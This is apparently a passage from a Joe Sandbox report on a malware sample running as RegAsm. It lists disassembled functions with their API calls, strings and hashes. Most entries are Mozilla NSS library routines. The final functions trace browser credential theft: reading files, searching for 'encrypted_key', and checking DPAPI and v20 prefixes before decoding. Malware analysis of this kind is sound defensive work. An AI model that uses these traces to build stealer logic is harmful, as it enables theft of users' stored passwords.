DER_GetInteger_Util.NSS3(?), ref: 6C3B901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C3B903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C3B9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C3B90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C3B90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C3B90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C3B912D
free.MOZGLUE(00000000), ref: 6C3B9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C3B9145

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 0d6174dc66851671e79520adb11662b5c2167a776f8190c16c8d8a2520142215
Instruction ID: 934c7420721effcd737b5b6205fd1ae2ca291c5d12fb88c65eaa39061bc34f0f
Opcode Fuzzy Hash: 0d6174dc66851671e79520adb11662b5c2167a776f8190c16c8d8a2520142215
Instruction Fuzzy Hash: 0A51B4B2A043409BE700CF29DC81B9AB7F8AFA4318F054529E95997B41E732E945CFD3

Function 6C484960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6C488061,?,?,?,?), ref: 6C48497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6C48499E
GetLastError.KERNEL32(?,?,6C488061,?,?,?,?), ref: 6C4849AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6C488061,?,?,?,?), ref: 6C4849C2

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6C488061,?,?,?,?), ref: 6C4849D6
CreateSemaphoreA.KERNEL32(00000000,6C488061,7FFFFFFF,?), ref: 6C484A19
GetLastError.KERNEL32(?,?,?,?,6C488061,?,?,?,?), ref: 6C484A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6C488061,?,?,?,?), ref: 6C484A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6C488061,?,?,?,?), ref: 6C484A52
GetLastError.KERNEL32(?,?,?,?,6C488061,?,?,?,?), ref: 6C484A5A
free.MOZGLUE(00000000,?,?,?,?,?,6C488061,?,?,?,?), ref: 6C484A6A
CreateSemaphoreA.KERNEL32(?,6C488061,7FFFFFFF,?), ref: 6C484A9A
free.MOZGLUE(?,?,?,?,?,6C488061,?,?,?,?), ref: 6C484AAE
free.MOZGLUE(?,?,?,?,?,6C488061,?,?,?,?), ref: 6C484AC2

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: e9f9a1e403328681d01257743e2998e8668bb80418a5f36f560e154e7bd042de
Instruction ID: ccfd1ba8b2e9870f0cac316e8b07ecab61fa617dafc985b45a85da51e92fac8a
Opcode Fuzzy Hash: e9f9a1e403328681d01257743e2998e8668bb80418a5f36f560e154e7bd042de
Instruction Fuzzy Hash: 8E41E574B012059BDF00FFB9DC49F8A77B8AB49399F100128ED19A7B50EB39D9058765

Function 6C3AADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C3AADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3AAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3AAE29

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3AAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C3AAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3AAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C3AAEA0

Strings

nHl, xrefs: 6C3AAEB8, 6C3AAEE6
(CK_INVALID_HANDLE), xrefs: 6C3AAE1F, 6C3AAE80
C_MessageSignInit, xrefs: 6C3AADE1
hKey = 0x%x, xrefs: 6C3AAE62, 6C3AAE72
hSession = 0x%x, xrefs: 6C3AAE01, 6C3AAE11

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nHl
API String ID: 332880674-4114209685
Opcode ID: 55e38fb4380d1512a26c1ddd5e6499a302e1a463c4a66561e14decc96db96284
Instruction ID: ef675f9c967674308fcb30b1c6489040e8ed661caeb0727a4f77126b30c5ff9c
Opcode Fuzzy Hash: 55e38fb4380d1512a26c1ddd5e6499a302e1a463c4a66561e14decc96db96284
Instruction Fuzzy Hash: 9D31F632602154ABCB10FF94DC88FAE7775EB4631DF444429E9099BB11DB35AC19CFA2

Function 6C48C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C48C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C48C8DA
malloc.MOZGLUE(00000001), ref: 6C48C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C48C8F8
PR_NewLock.NSS3 ref: 6C48C909
PR_NewCondVar.NSS3(00000000), ref: 6C48C918
PR_NewCondVar.NSS3(00000000), ref: 6C48C92A

Part of subcall function 6C360F00: PR_GetPageSize.NSS3(6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F1B
Part of subcall function 6C360F00: PR_NewLogModule.NSS3(clock,6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F25

free.MOZGLUE(00000000), ref: 6C48C947

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: f78ebd6487681f4ed39ccb796d1aa80c1b3df6ae1a4bc629a62adc7224c0a706
Instruction ID: 58d6045b1c0d04b20f807081e1d17b8562e2c495d58c8c77208ecebe4d33f5fb
Opcode Fuzzy Hash: f78ebd6487681f4ed39ccb796d1aa80c1b3df6ae1a4bc629a62adc7224c0a706
Instruction Fuzzy Hash: 6B21EBB1E017015BDB10FF799C09E5B76B8AF05259F140538E85BC6B41EB31D519CBA2

Function 6C3A2DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C3A2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A2E33

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C3A2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C3A2E81

Strings

nHl, xrefs: 6C3A2E99, 6C3A2EC4
(CK_INVALID_HANDLE), xrefs: 6C3A2E2C
ulPinLen = %d, xrefs: 6C3A2E7C
pPin = 0x%p, xrefs: 6C3A2E63
C_InitPIN, xrefs: 6C3A2DF1
hSession = 0x%x, xrefs: 6C3A2E0E, 6C3A2E1E

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nHl
API String ID: 1003633598-1999251699
Opcode ID: c9f809e6ac716ca6c03510b87fc5ae5ad21956017e95889e021e0f5801f13b68
Instruction ID: 247a1ac3dbb24c716eb1fa16dd4bcb25849571378f42cbd14663aa10ee477264
Opcode Fuzzy Hash: c9f809e6ac716ca6c03510b87fc5ae5ad21956017e95889e021e0f5801f13b68
Instruction Fuzzy Hash: 8831E475A02164ABCB20FB55CE4CF4A7BB5EB4631CF044025E90DABA11DB31AC59CFE2

Function 6C3A6EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C3A6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3A6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3A6F53

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3A6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C3A6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C3A6FA1

Strings

C_DigestUpdate, xrefs: 6C3A6F11
nHl, xrefs: 6C3A6FB9, 6C3A6FE7
(CK_INVALID_HANDLE), xrefs: 6C3A6F4C
hSession = 0x%x, xrefs: 6C3A6F2E, 6C3A6F3E
pPart = 0x%p, xrefs: 6C3A6F83
ulPartLen = %d, xrefs: 6C3A6F9C

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nHl
API String ID: 1003633598-3526152584
Opcode ID: ba7934e5094193655a23d32c1d105328d898ad731834185516597b427a2a69ae
Instruction ID: a85b02c339960c14375bc4bf99727fc42cb1a3267b6fc749434382413cb01485
Opcode Fuzzy Hash: ba7934e5094193655a23d32c1d105328d898ad731834185516597b427a2a69ae
Instruction Fuzzy Hash: 4C31E434612160AFDB10FB58CC8CF8A7BB5EB4631CF044029E80897A11DB30EC59CED2

Function 6C36AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C36AF47

Part of subcall function 6C439090: TlsGetValue.KERNEL32 ref: 6C4390AB
Part of subcall function 6C439090: TlsGetValue.KERNEL32 ref: 6C4390C9
Part of subcall function 6C439090: EnterCriticalSection.KERNEL32 ref: 6C4390E5
Part of subcall function 6C439090: TlsGetValue.KERNEL32 ref: 6C439116
Part of subcall function 6C439090: LeaveCriticalSection.KERNEL32 ref: 6C43913F

FreeLibrary.KERNEL32(?), ref: 6C36AF6D
free.MOZGLUE(?), ref: 6C36AFA4
free.MOZGLUE(?), ref: 6C36AFAA
PR_ExitMonitor.NSS3 ref: 6C36AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C36AFF5
PR_ExitMonitor.NSS3 ref: 6C36B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C36B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C36B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C36B03C

Strings

%s decr => %d, xrefs: 6C36AFF0
Unloaded library %s, xrefs: 6C36B023

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 96578f2d41b29252e67fd9ae0af745c185d6252d0dbb0f14cbe2fe9f9c49f308
Instruction ID: 08e1574b8487a03a60dc28670ed42f2489c69b0f6b42ae288c7975c98227295e
Opcode Fuzzy Hash: 96578f2d41b29252e67fd9ae0af745c185d6252d0dbb0f14cbe2fe9f9c49f308
Instruction Fuzzy Hash: 0631E5B5A04121ABE701FE66DC44E55B7B5EF5571CB144129EC0A8BE04E723E824CFF2

Function 6C2BAC20 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C2BAC52
CreateFileMappingW.KERNEL32 ref: 6C2BAC7D
GetSystemInfo.KERNEL32 ref: 6C2BAC98
MapViewOfFile.KERNEL32 ref: 6C2BACB0
GetSystemInfo.KERNEL32 ref: 6C2BACCD
MapViewOfFile.KERNEL32 ref: 6C2BAD05
UnmapViewOfFile.KERNEL32 ref: 6C2BAD1C
CloseHandle.KERNEL32 ref: 6C2BAD28
UnmapViewOfFile.KERNEL32 ref: 6C2BAD37
CloseHandle.KERNEL32 ref: 6C2BAD43
CloseHandle.KERNEL32 ref: 6C2BAD67

Strings

)TO/, xrefs: 6C2BAC29

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID: )TO/
API String ID: 1192971331-3931237147
Opcode ID: 43670e655f4f4795f6e1c8a409b58331a4bfa30065c06d1d72f7d11d5239235a
Instruction ID: d330ee9a4a4254ac9858a7397581987d9cc48ecb26955354af36acc688795918
Opcode Fuzzy Hash: 43670e655f4f4795f6e1c8a409b58331a4bfa30065c06d1d72f7d11d5239235a
Instruction Fuzzy Hash: 20315EB19047468FDB00AF7CD64C66EBBF0BF95705F018A2DED8597291EB70A548CB82

Function 6C3B6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C3B781D,00000000,6C3ABE2C,?,6C3B6B1D,?,?,?,?,00000000,00000000,6C3B781D), ref: 6C3B6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C3B781D,?,6C3ABE2C,?), ref: 6C3B6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C3B781D), ref: 6C3B6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C3B6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C3B6C96

Part of subcall function 6C361240: TlsGetValue.KERNEL32(00000040,?,6C36116C,NSPR_LOG_MODULES), ref: 6C361267
Part of subcall function 6C361240: EnterCriticalSection.KERNEL32(?,?,?,6C36116C,NSPR_LOG_MODULES), ref: 6C36127C
Part of subcall function 6C361240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C36116C,NSPR_LOG_MODULES), ref: 6C361291
Part of subcall function 6C361240: PR_Unlock.NSS3(?,?,?,?,6C36116C,NSPR_LOG_MODULES), ref: 6C3612A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C3B6CAA

Strings

dbm:, xrefs: 6C3B6C3A
dbm, xrefs: 6C3B6CA4
sql:, xrefs: 6C3B6C52
NSS_DEFAULT_DB_TYPE, xrefs: 6C3B6C91
extern:, xrefs: 6C3B6C7E
rdb:, xrefs: 6C3B6C69

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 365c8a68c25d63d2cc888dc05f4e052a63d4e10bd2fa20fc77d4123c6313feb2
Instruction ID: a7aadf1b944d0330380d7201f0dfebbbbf1a0bb9d55f19411859ec580bb74bc3
Opcode Fuzzy Hash: 365c8a68c25d63d2cc888dc05f4e052a63d4e10bd2fa20fc77d4123c6313feb2
Instruction Fuzzy Hash: 8101F2A1B4734133EA0077BA6C5AF22312C9F62158F180035FE04F0D82EBB3F61544B9

Function 004112D0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411307
strtok_s.MSVCRT ref: 00411750

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0118AA18,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 39d9ca71da1bc9d1652a922a502435f613a84b1baf7be8d74ac8d700c30c56b7
Instruction ID: 4a233ae47f87f64f9a2ed81d2cca976e3c75948f423937a2df4e62cfbc7c3e06
Opcode Fuzzy Hash: 39d9ca71da1bc9d1652a922a502435f613a84b1baf7be8d74ac8d700c30c56b7
Instruction Fuzzy Hash: C7C1D6B5941218ABCB14EF60DC89FEA7379BF54304F00449EF50AA7241DB78AAC5CF95

Function 00414280 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041429E
memset.MSVCRT ref: 004142B5

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 004142EC
lstrcatA.KERNEL32(?,01191EE0), ref: 0041430B
lstrcatA.KERNEL32(?,?), ref: 0041431F
lstrcatA.KERNEL32(?,01191BF8), ref: 00414333

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00409CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39
Part of subcall function 00409CE0: memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 004193C0: GlobalAlloc.KERNEL32(00000000,004143DD,004143DD), ref: 004193D3

StrStrA.SHLWAPI(?,01192000), ref: 004143F3
GlobalFree.KERNEL32(?), ref: 00414512

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrcatA.KERNEL32(?,00000000), ref: 004144A3
StrCmpCA.SHLWAPI(?,004208D1), ref: 004144C0
lstrcatA.KERNEL32(00000000,00000000), ref: 004144D2
lstrcatA.KERNEL32(00000000,?), ref: 004144E5
lstrcatA.KERNEL32(00000000,00420FB8), ref: 004144F4

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
